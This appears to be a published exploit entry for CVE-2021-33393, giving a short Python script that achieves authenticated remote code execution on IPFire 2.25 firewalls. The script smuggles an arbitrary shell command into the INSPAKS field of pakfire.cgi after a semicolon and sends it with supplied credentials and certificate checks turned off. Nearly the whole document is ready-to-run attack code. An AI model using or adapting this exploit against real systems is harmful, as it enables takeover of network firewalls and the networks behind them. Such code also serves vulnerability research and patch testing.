IPFire 2.25 - Remote Code Execution (Authenticated)

# Exploit Title: IPFire 2.25 - Remote Code Execution (Authenticated)
# Date: 15/05/2021
# Exploit Author: Mücahit Saratar
# Vendor Homepage: https://www.ipfire.org/
# Software Link: https://downloads.ipfire.org/releases/ipfire-2.x/2.25-core156/ipfire-2.25.x86_64-full-core156.iso
# Version: 2.25 - core update 156
# Tested on: parrot os 5.7.0-2parrot2-amd64
# CVE: CVE-2021-33393

#!/usr/bin/python3

import requests as R
import sys
import base64

try:
    host = sys.argv[1]
    assert host[:4] == "http" and host[-1] != "/"
    url = host + "/cgi-bin/pakfire.cgi"
    username = sys.argv[2]
    password = sys.argv[3]
    komut = sys.argv[4]
except:
    print(f"{sys.argv[0]} http://target.com:444 username password command")
    exit(1)

veri = { 
        "INSPAKS": f"7zip;{komut}",
        "ACTION":"install",
        "x": "10",
        "y": "6" }
token = b"Basic " + base64.b64encode(f"{username}:{password}".encode())
header = {"Authorization": token,
        "Connection": "close",
        "Cache-Control": "max-age=0",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
        "Origin": host,
        "Sec-GPC": "1",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-User": "?1",
        "Sec-Fetch-Dest": "document",
        "Referer": host}


R.post(url, data=veri, headers=header, verify=False)
print("Done.")